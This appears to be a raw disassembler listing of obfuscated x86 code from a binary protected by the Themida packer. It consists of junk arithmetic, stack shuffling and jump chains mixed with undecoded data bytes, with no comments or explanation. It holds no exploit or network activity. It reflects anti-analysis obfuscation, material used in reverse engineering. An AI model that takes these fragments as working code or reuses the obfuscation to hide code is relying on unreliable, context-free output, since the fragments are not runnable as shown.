; ---------------------------------------------------------------------------
loc_561307: ; CODE XREF: Themida_:0055E999j
or edx, eax
shl edx, 1
push eax
sub esp, 4
mov [esp], edx
push 4AFB1A8Dh
push dword ptr [esp]
pop edx
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
push 0ABEh
mov [esp], edi
mov edi, 4
add eax, 3B920674h
add eax, edi
jmp loc_55FF61
; ---------------------------------------------------------------------------
loc_561344: ; CODE XREF: Themida_:005505DCj
pop ebp
shr edi, 2
push edx
jmp loc_559CCB
; ---------------------------------------------------------------------------
dw 0CF01h
dd 83240C8Bh, 0C78104C4h, 4, 8B243C87h, 0B8E92424h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561367: ; CODE XREF: Themida_:00556BC1j
xor [esp], eax
jmp loc_55AE03
; ---------------------------------------------------------------------------
loc_56136F: ; CODE XREF: Themida_:00550DFAj
xor ecx, 676ED27Eh
add ebx, ecx
pop ecx
add esi, ebx
mov ebx, [esp]
add esp, 4
add ebp, esi
pop esi
add ebp, 2
push ebp
jmp loc_55AC67
; ---------------------------------------------------------------------------
dw 3157h
dd 0F7E9242Ch, 5CFFFFD7h, 55243489h, 4BDh, 5DEE8900h, 4247401h
dd 0FF4C7BE9h, 0E9CD29FFh, 29Dh
; ---------------------------------------------------------------------------
loc_5613B8: ; CODE XREF: Themida_:005578C2j
sub esi, 1B55687Ch
add esi, 3C10BBDEh
push ebx
jmp loc_55B0A1
; ---------------------------------------------------------------------------
loc_5613CA: ; CODE XREF: Themida_:005545D8j
mov ebx, edx
mov edx, [esp]
jmp loc_55B23C
; ---------------------------------------------------------------------------
dd 0E98CCF80h, 0FFFFEFFBh, 44DAEA81h, 0C2812059h, 3F524DEDh
dd 83243C8Bh, 0EA8304C4h, 24143304h, 33241431h, 248B2414h
dd 4143E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561402: ; CODE XREF: Themida_:00561494j
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
push 41C8h
mov [esp], edx
mov edx, esp
push eax
push edi
jmp loc_561C1E
; ---------------------------------------------------------------------------
loc_561420: ; CODE XREF: Themida_:0055809Fj
mov eax, 0AEA7AC21h
add ebx, eax
pop eax
mov ebp, ebx
pop ebx
push edi
jmp loc_559B80
; ---------------------------------------------------------------------------
db 81h, 0C7h, 0F8h
dd 81743B04h, 27518CF7h, 0C1EF817Eh, 814B6A4Ch, 0EF7539EFh
dd 39B2E941h, 0DEF7FFFFh, 0FEEEA5E9h, 240C31FFh, 5C240C33h
dd 9C240409h, 0FEC960E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561465: ; CODE XREF: Themida_:00558E69j
not dword ptr [esp]
pop ebx
sub ebx, 1
push 49AAh
mov [esp], edi
mov edi, 34821C51h
jmp loc_56039B
; ---------------------------------------------------------------------------
db 0D1h, 0E8h, 0E9h
dd 0FFFFC14Bh
; ---------------------------------------------------------------------------
loc_561488: ; CODE XREF: Themida_:00558A41j
xor ebx, eax
xor eax, ebx
push esi
mov esi, 1
and eax, esi
jmp loc_561402
; ---------------------------------------------------------------------------
db 83h, 0E9h, 4
dd 5C240C87h, 0FF0FBEE9h, 6DCA81FFh, 8176FA59h, 3FF499F2h
dd 5AD301EBh, 57E9DE01h, 68FFFFB5h, 34F1h, 89242C89h, 0F972E9E5h
dd 34FFFFFEh, 6277E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5614D2: ; CODE XREF: Themida_:0055A486j
pop edi
xchg ebx, [esp]
jmp loc_551B47
; ---------------------------------------------------------------------------
loc_5614DB: ; CODE XREF: Themida_:005553BAj
mov [esp], ebx
mov ebx, 0DD64C58h
jmp loc_5571DA
; ---------------------------------------------------------------------------
dd 5ACFB951h, 8CE97BC2h
db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5614F3: ; CODE XREF: Themida_:005564E7j
push 20AFh
mov [esp], edi
mov edi, 8F4D5Dh
or edi, 454652D9h
xor edi, 0E72018Eh
sub edi, 0DB7D3D54h
not edi
shl edi, 2
shl edi, 5
push ebx
push esi
push 7F5A7309h
pop esi
not esi
sub esi, 7A6B758Fh
dec esi
sub esi, 0DBEB0EB3h
jmp loc_557965
; ---------------------------------------------------------------------------
loc_561536: ; CODE XREF: Themida_:005526ACj
mov [esp], eax
mov eax, 786E43C4h
jmp loc_56288A
; ---------------------------------------------------------------------------
loc_561543: ; CODE XREF: Themida_:0055CE03j
add ecx, eax
sub ecx, 3BC02A25h
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_54F1AD
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48324h, 4C381h, 0C3810000h, 4, 31241C33h, 1C33241Ch
dd 2521E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561576: ; CODE XREF: Themida_:00556408j
push ebx
jmp loc_55F7D5
; ---------------------------------------------------------------------------
dd 0E908EFC1h, 0FFFFE60Bh, 0D56EE95Bh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56158A: ; CODE XREF: Themida_:005521D8j
sub edx, 40AA374Eh
jmp loc_554D7B
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0C4h
dd 0E9267F30h, 0FFFED212h, 0B753620Ch, 0CD8DE9A4h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5615AA: ; CODE XREF: Themida_:0055B096j
xor edi, 0DCF5556Bh
add eax, edi
push dword ptr [esp]
pop edi
add esp, 4
add edx, eax
pop eax
pop ebp
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_55752E
; ---------------------------------------------------------------------------
dw 55B8h
dd 0F73BEA0Dh, 54A3E9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5615DA: ; CODE XREF: Themida_:00557329j
mov bl, dl
mov al, bl
pop ebx
jmp loc_55160A
; ---------------------------------------------------------------------------
loc_5615E4: ; CODE XREF: Themida_:0055F994j
add esi, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
pop esi
add esp, 4
pop dword ptr [esp]
jmp loc_55EE21
; ---------------------------------------------------------------------------
loc_561606: ; CODE XREF: Themida_:00551228j
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_556D93
; ---------------------------------------------------------------------------
dw 0BF57h
dd 6C1630F8h, 0E9CF0868h, 0C2815A93h, 0C1D0883h, 0F7DEA81h
dd 0E9536158h, 0FFFF3938h
; ---------------------------------------------------------------------------
loc_561630: ; CODE XREF: Themida_:0055D737j
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebx
push 3378h
mov [esp], edi
jmp loc_55C10E
; ---------------------------------------------------------------------------
loc_56164D: ; CODE XREF: Themida_:0055C121j
sub esp, 4
jmp loc_561B9E
; ---------------------------------------------------------------------------
db 59h, 1, 0CDh
dd 0FFD749E9h, 5366ACFFh, 84E907B7h, 66FFFFAAh, 4334F381h
dd 7EBC166h, 0B3BA6652h, 0F281664Fh, 81666E63h, 0E95CBDC2h
dd 0FFFF6063h, 3AE9008Fh, 5CFFFEC7h, 8904EC83h, 7E9242Ch
dd 89000000h, 0C345E9D6h, 5D54FFFFh, 206268h, 240C8900h
dd 0FF47F8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5616AD: ; CODE XREF: Themida_:0055C20Ej
shl edx, 2
shl edx, 6
jmp loc_5598D4
; ---------------------------------------------------------------------------
loc_5616B8: ; CODE XREF: Themida_:0054DDC6j
xor al, bl
push 257Dh
mov [esp], ecx
push ebx
push 4C2h
mov [esp], edx
jmp loc_559960
; ---------------------------------------------------------------------------
dd 0E9028F64h, 0FFFEC6EDh, 0B8665066h, 296615EFh, 0E95866C6h
dd 0FFFF9961h, 835FFD01h, 2C3304EDh, 242C3124h, 8B242C33h
dd 3C892424h, 68E78924h, 7431h, 0E9240C89h, 0FFFEFE90h
dd 4C4835Fh, 5503E2C1h, 0E77E9h
db 0
; ---------------------------------------------------------------------------
loc_561719: ; CODE XREF: Themida_:005557CFj
mov eax, ebp
pop ebp
jmp loc_557B06
; ---------------------------------------------------------------------------
db 51h, 0B5h, 89h
dd 0FFAD7BE9h, 0E962B6FFh, 0FFFF151Fh, 0CC80C4FEh, 0FFEC80E0h
dd 2850ED80h, 0B921E9E5h, 2C89FFFFh, 1C45E924h, 0C580FFFFh
dd 59E82800h, 0FE4AE959h, 34FFFFFFh, 0C4815A24h, 4, 0FFC305E9h
dd 240C89FFh, 0FECDF9E9h, 1E6851FFh, 0E900000Dh, 0FFFFEA5Dh
dd 815AD701h, 4C7h, 243C8700h, 0FB8505Ch, 48688156h, 0D2E9D0F7h
dd 89FFFF7Bh, 4BF57E3h, 50000000h, 0D9790EB8h, 18DD0571h
dd 2CE91191h, 5AFFFF9Eh, 31240433h, 4332404h, 24248B24h
dd 0E9E1F766h, 0FFFEE216h, 8002EBC0h, 0C1803EEBh, 99AE94Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5617CE: ; CODE XREF: Themida_:0055E410j
xor ah, ch
pop cx
shr ah, 6
push 1F24h
jmp loc_5514B0
; ---------------------------------------------------------------------------
loc_5617DF: ; CODE XREF: Themida_:0054F248j
add edi, 0F2C55939h
jmp loc_54FA11
; ---------------------------------------------------------------------------
dw 4968h
dd 5E59BE1Ch, 95DF681h, 0D8680BBCh, 89000017h, 82B9240Ch
dd 0E962A753h, 0FFFEE215h
; ---------------------------------------------------------------------------
loc_561808: ; CODE XREF: Themida_:00554330j
push dword ptr [esp]
pop eax
add esp, 4
push 21C1h
jmp loc_55A1C2
; ---------------------------------------------------------------------------
loc_56181C: ; CODE XREF: Themida_:0055DFA5j
sub esp, 4
mov [esp], ecx
mov ecx, 265A3FFAh
sub ebp, ecx
mov ecx, [esp]
add esp, 4
add ebp, 0FFFFFFFFh
jmp loc_55F2F2
; ---------------------------------------------------------------------------
loc_56183A: ; CODE XREF: Themida_:00554D53j
mov ebp, 1D885131h
sub ebx, ebp
pop ebp
sub ebx, 416B00B5h
jmp loc_5610DE
; ---------------------------------------------------------------------------
db 0BDh, 4, 0
dd 89530000h, 0DEC1E9E3h, 0CBEFFFEh, 817B5E5Eh, 6D7C2CE6h
dd 0E1C6814Eh, 0E9500514h, 0FFFF0174h, 9F9BB850h, 0C131CC54h
dd 595F5158h, 6039F781h, 0FD893BA8h, 0D0EB815Fh, 0E9148728h
dd 0FFFF6FF3h, 8324048Bh, 0F7E904C4h
db 24h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56189B: ; CODE XREF: Themida_:00559194j
push edi
mov edi, 64B36B44h
sub edi, 5E263B61h
add edi, 1
inc edi
add edi, 64FC4498h
mov edx, edi
pop edi
jmp loc_5557A9
; ---------------------------------------------------------------------------
loc_5618BC: ; CODE XREF: Themida_:0055BF21j
mov ebx, 714A4A70h
jmp loc_54F028
; ---------------------------------------------------------------------------
loc_5618C6: ; CODE XREF: Themida_:00561C4Dj
pop ebp
sub edx, 0FBDF76CDh
jmp loc_5545E5
; ---------------------------------------------------------------------------
dw 348Bh
dd 0D9B6E924h, 685EFFFEh, 1989h, 83243489h, 2C8904ECh
dd 4302BD24h, 685234A3h, 67D7002Fh, 4ABB535Ah, 0E90C60A1h
dd 0FFFF35F5h, 68E18951h, 5233h, 83241C89h, 348904ECh
dd 6065BE24h, 0FF563777h, 565E240Ch, 1242C81h, 8B000000h
dd 0C4832434h, 67F68104h, 0E9377760h, 0FFFFE240h, 534FB652h
dd 0EC8355B7h, 0C896602h, 2857B524h, 285966EEh, 57C680FEh
dd 0C0C6FE5Bh, 0CE8004E6h, 0C5E95003h
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56195B: ; CODE XREF: Themida_:0055D934j
add edx, 5E5940CEh
sub edx, 5E553816h
add edi, edx
pop edx
xchg edi, [esp]
mov esp, [esp]
push ecx
mov ecx, esp
jmp loc_55FC8D
; ---------------------------------------------------------------------------
dd 89241C89h, 4C381E3h, 68000000h, 68EBh, 0BF243C89h, 2
dd 647F68h, 242C8900h, 413449BDh, 69AEE961h, 0E168FFFFh
dd 89000065h, 24E92434h
db 0D4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5619AF: ; CODE XREF: Themida_:0055E9E2j
mov esi, esp
add esi, 4
jmp loc_55DC01
; ---------------------------------------------------------------------------
dd offset dword_4A42CC+539Ch
dd 241C8900h, 0FF28DCE9h, 0CEBA52FFh, 8124FA25h, 0C00574CAh
dd 0C1DAF719h, 0D2F704EAh, 0FF21A2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5619E1: ; CODE XREF: Themida_:0055ECD7j
and eax, ecx
jmp loc_5551A2
; ---------------------------------------------------------------------------
loc_5619E8: ; CODE XREF: Themida_:00554932j
pop eax
push dword ptr [esp]
jmp loc_55AADF
; ---------------------------------------------------------------------------
loc_5619F1: ; CODE XREF: Themida_:005510E8j
xchg edx, [esp]
pop esp
mov [esp], ebp
jmp loc_55C9E3
; ---------------------------------------------------------------------------
loc_5619FD: ; CODE XREF: Themida_:005522D5j
pop ecx
shr eax, 0Ah
jmp loc_55D642
; ---------------------------------------------------------------------------
dw 0C9FEh
dd 0C180D1F6h, 8BC80025h, 0C481240Ch, 4, 68C3305Bh, 1C4Bh
dd 0E9241C89h, 0FFFFA458h, 0E9240C8Bh, 0FFFFB9EDh, 0B8E9E089h
dd 83FFFFD4h, 5E042404h, 8904EC83h, 6BBA2414h, 4A479B6Dh
dd 8104EAC1h, 4EB96FF2h, 0A8EA810Ch, 4A315F35h, 1F685342h
dd 5B75074Ch, 0FF3F90E9h, 0E9E389FFh, 0FFFEF010h, 241C895Ch
dd 0C22D5CBBh, 78F38140h, 0E975876Eh, 0FFFFF0B7h
; ---------------------------------------------------------------------------
loc_561A80: ; CODE XREF: Themida_:00556B97j
add edi, 0A9659C6Eh
mov ecx, edi
jmp loc_555661
; ---------------------------------------------------------------------------
dd offset dword_55C128+40h
align 2
dw 489h
dd 0E9E08924h, 0FFFEE6A7h
; ---------------------------------------------------------------------------
loc_561A9C: ; CODE XREF: Themida_:005501E7j
push edi
mov edi, 1198021Fh
xor esi, edi
pop edi
mov ebx, esi
pop esi
add ebx, edi
add [ebx], ecx
pop ebx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55436E
; ---------------------------------------------------------------------------
loc_561AB8: ; CODE XREF: Themida_:0055F918j
add ecx, 8A5487B8h
sub ebp, ecx
jmp loc_5527B0
; ---------------------------------------------------------------------------
loc_561AC5: ; CODE XREF: Themida_:0054F2D6j
push 100h
jmp loc_55A223
; ---------------------------------------------------------------------------
loc_561ACF: ; CODE XREF: Themida_:0054E02Aj
mov ebx, 0A2F26D78h
add ebx, edx
pop edx
jmp loc_55F629
; ---------------------------------------------------------------------------
aX313LS db 'X3,$1,$3,$‹$$S»',0
dd 0E9000000h, 0FFFF99B8h, 9D1C77FFh, 11665866h, 0E99C2404h
dd 0FFFF264Fh, 5B2434FFh, 4A4468h, 24348900h, 144068h
dd 24248900h, 4240481h, 5E000000h, 0BCADE955h, 0C781FFFFh
dd 4, 0E9243C87h, 0FFFF067Eh
; ---------------------------------------------------------------------------
loc_561B34: ; CODE XREF: Themida_:0055D37Ej
not eax
shl eax, 3
push eax
not dword ptr [esp]
pop eax
push ebx
jmp loc_54E5CA
; ---------------------------------------------------------------------------
dd 5C240C87h, 0E9241489h, 0FFFFCA79h, 85D2C581h, 0C5812F12h
dd 83C3EAF9h, 815DE901h, 4C1h, 7FBAE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561B6A: ; CODE XREF: Themida_:0055919Cj
push edi
push 66760719h
jmp loc_55E67E
; ---------------------------------------------------------------------------
db 68h, 0A0h, 30h
dd 14890000h, 2BA24h, 0CEE90000h
db 2Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561B87: ; CODE XREF: Themida_:00555296j
push eax
mov eax, 5564385Bh
push ecx
mov ecx, 5564385Fh
xor eax, ecx
pop ecx
add esi, eax
pop eax
jmp loc_55EE1B
; ---------------------------------------------------------------------------
loc_561B9E: ; CODE XREF: Themida_:00561650j
mov [esp], esi
jmp loc_55F884
; ---------------------------------------------------------------------------
loc_561BA6: ; CODE XREF: Themida_:00552F55j
pop dword ptr [esp]
jmp loc_55D62D
; ---------------------------------------------------------------------------
loc_561BAE: ; CODE XREF: Themida_:005566A1j
mov [esp], eax
jmp loc_55657F
; ---------------------------------------------------------------------------
dw 8B66h
dd 92682404h, 89000065h, 7C68241Ch, 8900007Eh, 0CFE92424h
dd 5BFFFED7h, 8105E6C1h, 0B7D85CEEh, 7DC58161h, 167FB1Ah
dd 7DBF57F5h, 0E967FB1Ah, 40Ah, 220BCD81h, 0E5C113CEh
dd 0FBE5603h, 0E905171Bh, 0FFFF103Eh, 4C04410Dh, 819CE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561C0A: ; CODE XREF: Themida_:00561F26j
pop ebx
shr ebx, 5
push eax
mov eax, 72D35C6Eh
sub eax, 950E51Bh
jmp loc_55D8D3
; ---------------------------------------------------------------------------
loc_561C1E: ; CODE XREF: Themida_:0056141Bj
mov edi, 53690283h
push edi
jmp loc_5558BF
; ---------------------------------------------------------------------------
loc_561C29: ; CODE XREF: Themida_:00560482j
not dword ptr [esp]
pop eax
xchg eax, ebp
sub esp, 4
mov [esp], edx
mov edx, 38D16C5Fh
sub ebp, edx
pop edx
or ebp, 1BE92254h
xor ebp, 41B54810h
or edx, ebp
jmp loc_5618C6
; ---------------------------------------------------------------------------
loc_561C52: ; CODE XREF: Themida_:005549B7j
pop ecx
xchg ebp, ebx
not ebp
jmp loc_551D4E
; ---------------------------------------------------------------------------
dd 4BBh, 245C0100h, 3C8B5B04h, 0BD5E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561C6E: ; CODE XREF: Themida_:00556015j
mov ebp, 3D5B61BEh
or ebp, 94F435Eh
jmp loc_5595DD
; ---------------------------------------------------------------------------
dw 8B66h
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
jmp loc_5554F1
; ---------------------------------------------------------------------------
loc_561C8B: ; CODE XREF: Themida_:00551DFBj
mov [esp], ecx
push 6A653765h
pop ecx
add esi, ecx
mov ecx, [esp]
add esp, 4
sub esi, 0FFFFFFFFh
add esi, 45D38627h
jmp loc_55E22F
; ---------------------------------------------------------------------------
db 50h, 0B8h, 32h
dd 0D67592Dh, 38365E06h, 470E220Dh, 0D4EC052Bh, 0C601D8FDh
dd 0FF7122E9h, 0C08396FFh, 0E2EE901h, 0DB3FFFFh, 815BDC88h
dd 4ECh, 8FFBE900h, 74FFFFFFh, 8F5B0424h, 0F3E92404h, 83FFFFB2h
dd 0C48304C4h, 243C8704h, 0D324248Bh, 0E99C2424h, 0FFFEC0C1h
dd 0E99C5166h, 0FFFEC0B9h, 0C181E189h, 4, 0FF0935E9h, 56E589FFh
dd 0FFEB00E9h, 243489FFh, 1062CEBEh, 0CAF68128h, 68281062h
dd 7E28h, 0BB241C89h, 733E699Eh, 0E9D3F74Bh, 0FFFECF1Fh
; ---------------------------------------------------------------------------
loc_561D44: ; CODE XREF: Themida_:0055F713j
shr esi, 8
add esi, 3DFB5960h
sub esi, 243E168Ah
jmp loc_55E42C
; ---------------------------------------------------------------------------
loc_561D58: ; CODE XREF: Themida_:00556203j
add esp, 4
push dword ptr [esp]
jmp loc_55A701
; ---------------------------------------------------------------------------
db 5Ah
dd 0C7C78158h, 0E930D95Dh, 0FFFF318Ch, 8107EBC1h, 6A39B7F3h
dd 5BDF8970h, 0FFB350E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561D81: ; CODE XREF: Themida_:005521EAj
push edx
push 7F740301h
jmp loc_55EAF1
; ---------------------------------------------------------------------------
loc_561D8C: ; CODE XREF: Themida_:0055D669j
pop edx
shr eax, 0Ch
xor eax, ecx
push edx
jmp loc_556DBE
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFEE136h, 2B850h, 0C5010000h, 0FF1F25E9h
dd 240C87FFh, 0DF8AE95Ch, 0E95DFFFEh, 0FFFEDC77h, 1569E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561DC2: ; CODE XREF: Themida_:00561130j
shl ecx, 3
dec ecx
add ecx, 2011006Dh
add ebx, ecx
pop ecx
sub ebx, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_556467
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 4C481h, 89510000h, 4C181E1h, 83000000h, 0C8E904E9h
db 38h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561DFB: ; CODE XREF: Themida_:00552176j
sub esp, 4
mov [esp], ecx
mov ecx, 1B792ED1h
jmp loc_5606A9
; ---------------------------------------------------------------------------
dw 0C483h
dd 8BD60104h, 0C4812414h, 4, 0FFB4A5E9h, 2474FFFFh, 48F5904h
dd 24248B24h, 0FF30DBE9h, 0BF8FE9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_561E36: ; CODE XREF: Themida_:0055BFCBj
mov esp, [esp]
add bl, 0Eh
add bl, al
sub bl, 0Eh
push ecx
mov ch, 12h
shl ch, 6
jmp loc_54E3DE
; ---------------------------------------------------------------------------
dd 6EDAC181h, 0E18158DAh, 6009322Ch, 0B00F181h, 0CD0141C9h
dd 81240C8Bh, 4C4h, 0C2C18100h, 10CC32Eh, 4EC83E9h, 0FFB406E9h
dd 2434FFFFh, 0FF2465E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561E81: ; CODE XREF: Themida_:0055A866j
add ebx, ebp
jmp loc_54F651
; ---------------------------------------------------------------------------
dd 8704C183h, 85E9240Ch, 5BFFFEE0h, 0FF4574E9h, 4C681FFh
dd 81000000h, 4ECh, 24048900h, 4B8h, 44BD5500h, 29467F45h
dd 6EE95DEEh, 58FFFFEFh, 0AEE9D829h, 89FFFFC5h, 9CBA2414h
dd 517B8953h, 0FEDF6BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561ED1: ; CODE XREF: Themida_:00559A63j
push 20AFh
mov [esp], eax
jmp loc_54DDC5
; ---------------------------------------------------------------------------
dw 0C181h
dd 428B6C0Ah, 4EC8355h, 0E9243489h, 0FFFF70CDh, 1019E95Ah
dd 248BFFFFh, 9FE924h, 50510000h, 0FF1E58E9h, 320368FFh
dd 3DE90000h, 81FFFF92h, 0DF6659EDh, 243C8B6Bh, 4C481h
dd 41E90000h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561F23: ; CODE XREF: Themida_:00558A3Aj
inc dword ptr [esp]
jmp loc_561C0A
; ---------------------------------------------------------------------------
db 58h
dd 19E9F589h, 5EFFFF24h, 158C189h, 0C781E9CBh, 0C481FFFEh
dd 4, 0FEFD39E9h, 0F4B951FFh, 157BB25h, 5908244Ch, 0FF8118E9h
dd 0CB685EFFh, 8900002Ah, 91682414h, 5A136326h, 0E9E68956h
dd 0FFFF9C2Ah
; ---------------------------------------------------------------------------
loc_561F70: ; CODE XREF: Themida_:00554AF8j
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edx
jmp loc_54E918
; ---------------------------------------------------------------------------
dd 58C7015Bh, 0BB5FFD89h, 72BD5D11h, 0FF1A78E9h, 48F66FFh
dd 66526624h, 662414F7h, 8324148Bh, 316602C4h, 33662414h
dd 31662414h, 6E92414h, 57FFFEBEh, 0FF79B6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561FC5: ; CODE XREF: Themida_:00559220j
mov esi, [esp]
add esp, 4
pop ebp
push 62Ch
mov [esp], ebx
mov ebx, 0AC14139h
sub edx, ebx
pop ebx
add ebp, edx
pop edx
push edx
mov edx, 2A856B29h
shl edx, 8
add edx, 33E45349h
jmp loc_54FDF5
; ---------------------------------------------------------------------------
dw 0FD29h
dd 0E90AE95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561FFE: ; CODE XREF: Themida_:00554E3Dj
pop edi
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_556334
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 5F498EBEh, 8BF68179h, 812AFD5Ch, 8DDCD2EEh
dd 2FEE8138h, 11B1438h, 24348BF0h, 55E08950h, 4BDh, 34430500h
dd 0E801777Dh, 7D34432Dh, 0C547E977h, 868FFFFh, 8900001Ah
dd 0B2B42404h, 0FFDECBE9h, 7E8C1FFh, 0FF1959E9h, 0ABEA81FFh
dd 1000A44h, 24148BD6h, 8898E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562072: ; CODE XREF: Themida_:005570CCj
sub dword ptr [esp+8], 697E3E9Bh
mov ebp, [esp]
add esp, 4
add [esp+4], eax
jmp loc_557743
; ---------------------------------------------------------------------------
db 0BBh, 0Bh, 13h
dd 0DF015847h, 0EA12E95Bh, 0E589FFFEh, 0FFB0B9E9h, 0CA815AFFh
dd 1A0862C4h, 0FFF1D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5620A9: ; CODE XREF: Themida_:00557FD4j
mov esi, [esp]
add esp, 4
jmp loc_55CC26
; ---------------------------------------------------------------------------
dd 240C8B66h, 76B768h, 242C8900h, 0F2E9E589h, 5CFFFEDBh
dd 4EC81h, 43E90000h, 0B9FFFED7h, 0E0AF87D6h, 2B4CC181h
dd 0F1012898h, 1DABF57h, 814774EFh, 52381FF7h, 0E1C78157h
dd 56488237h, 0FEEBA4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5620F9: ; CODE XREF: Themida_:0055DEA0j
mov [esp], ebp
push 0
jmp loc_558CF8
; ---------------------------------------------------------------------------
dw 0EA81h
dd 531D16FDh, 0FF4E6AE9h, 2C895CFFh, 0A3FDE924h, 48BFFFFh
dd 4C48124h, 8B000000h, 81502434h, 4ECh, 0ACE9E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562132: ; CODE XREF: Themida_:0055FF09j
push edi
mov edi, ebp
mov eax, edi
pop edi
push dword ptr [esp]
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5504D8
; ---------------------------------------------------------------------------
loc_562152: ; CODE XREF: Themida_:00559D70j
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
push edx
jmp loc_552506
; ---------------------------------------------------------------------------
dd 0E9515A66h, 0FFFF516Dh, 0E980D900h, 0CC205B4Ah, 0E9240C8Bh
dd 0FFFF0567h, 6624248Bh, 81240C8Bh, 4ECh, 241C8900h, 85568h
dd 0AE69E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562192: ; CODE XREF: Themida_:00560938j
xchg ecx, ebp
neg ecx
xchg ecx, ebp
add ebp, 32564362h
shl ebp, 6
push 60C0h
mov [esp], ebx
jmp loc_55F656
; ---------------------------------------------------------------------------
dw 8142h
dd 0B78EE5F2h, 5AD3896Ah, 47F0EB81h, 0F3816750h, 27F4177h
dd 6A1DF381h, 0F3813065h, 0C588936Bh, 0FFB5F1E9h, 0B8505CFFh
dd 8FBD1843h, 3AE9C329h, 0F7FFFF83h, 8E8C1D0h, 892A2F35h
dd 0E9C10100h, 0FFFFED35h, 0FF2414F7h, 13E92434h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5621FF: ; CODE XREF: Themida_:0054DFC2j
push edx
pop eax
pop edx
jmp loc_5552E3
; ---------------------------------------------------------------------------
db 5Fh
dd 0A14FB105h, 2DD00134h, 34A14FB1h, 0FEFDF7E9h, 0B6E950FFh
dd 8FFFFF37h, 0E9562404h, 0FFFEE575h
; ---------------------------------------------------------------------------
loc_562228: ; CODE XREF: Themida_:00558387j
mov ebp, 5DDD2EA3h
neg ebp
add ebp, 0FFFFFFFFh
xor ebp, 8541FABh
sub ebp, 6CF03656h
add ebp, 16CA58A3h
xor ebp, 75BDA9C8h
add eax, 66086CB6h
add eax, 51982A2Ch
sub eax, ebp
sub eax, 51982A2Ch
push esi
jmp loc_55C45D
; ---------------------------------------------------------------------------
dd 0A1F780h, 0EA805BFAh, 80FA28C5h, 0EA80C5C2h, 241C8B17h
dd 0E904C483h, 0FFFFBD36h, 0DD243481h, 5B2BD84Eh, 27E0BE56h
dd 32E97111h, 5BFFFF4Bh, 0FF1FECE9h, 0EDF381FFh, 0E94E4F6Ch
dd 0FFFEBC91h
; ---------------------------------------------------------------------------
loc_5622A4: ; CODE XREF: Themida_:0055E0EEj
pop dword ptr [esp]
jmp loc_552D0A
; ---------------------------------------------------------------------------
dd 582434FFh, 0AB2E955h, 0C781FFFFh, 4, 0E9243C87h, 0FFFF3D87h
dd 1493E981h, 0E9812E07h, 0EEF00DBh, 0B5C98141h, 0E9783D6Bh
dd 0FFFEFE9Fh, 81242C8Bh, 4C4h, 2DE95600h
db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5622EB: ; CODE XREF: Themida_:0055EAECj
pop ebp
push 4B51h
mov [esp], ebp
jmp loc_554D9C
; ---------------------------------------------------------------------------
db 29h, 0D6h, 5Ah
dd 0BE9C601h
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562303: ; CODE XREF: Themida_:0055258Ej
mov edi, 4909437Ah
sub edi, 2E4E126Eh
jmp loc_55CC1F
; ---------------------------------------------------------------------------
loc_562313: ; CODE XREF: Themida_:0055BB19j
mov ecx, 18FC3D5Eh
push esi
mov esi, 0AC34C0Fh
xor esi, 5DA10CC8h
add ecx, esi
pop esi
push ebp
mov ebp, 2DD7E447h
xor ecx, ebp
